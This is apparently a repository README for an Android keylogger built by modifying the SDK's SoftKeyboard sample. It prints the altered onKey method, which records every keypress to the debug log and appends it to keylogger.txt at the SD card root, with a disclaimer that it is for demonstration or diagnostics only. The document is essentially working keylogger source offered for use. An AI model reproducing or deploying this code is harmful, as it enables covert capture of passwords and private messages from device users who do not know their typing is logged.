AndroidKeyLogger

#Android KeyLogger Keyboard

This is a simple modification to the SoftKeyboard sample that is included with the Android SDK. It adds a keylogger that writes output to the root directory of the SD Card (for easy access). This is provided for demonstration / diagnostic purposes only.

The only real change here is to the onKey method of the SoftKeyboard class:

public void onKey(int primaryCode, int[] keyCodes) {
	String keypress = String.valueOf((char)primaryCode);
	Log.d("Key Pressed",keypress);
	try{
    	String SDCARD = Environment.getExternalStorageDirectory().getAbsolutePath();
    	String FILENAME = "keylogger.txt";

		File outfile = new File(SDCARD+File.separator+FILENAME);
		FileOutputStream fos = new FileOutputStream(outfile,true);
		fos.write(keypress.getBytes());
		fos.close();
	}catch(Exception e) {
		Log.d("EXCEPTION",e.getMessage());
	}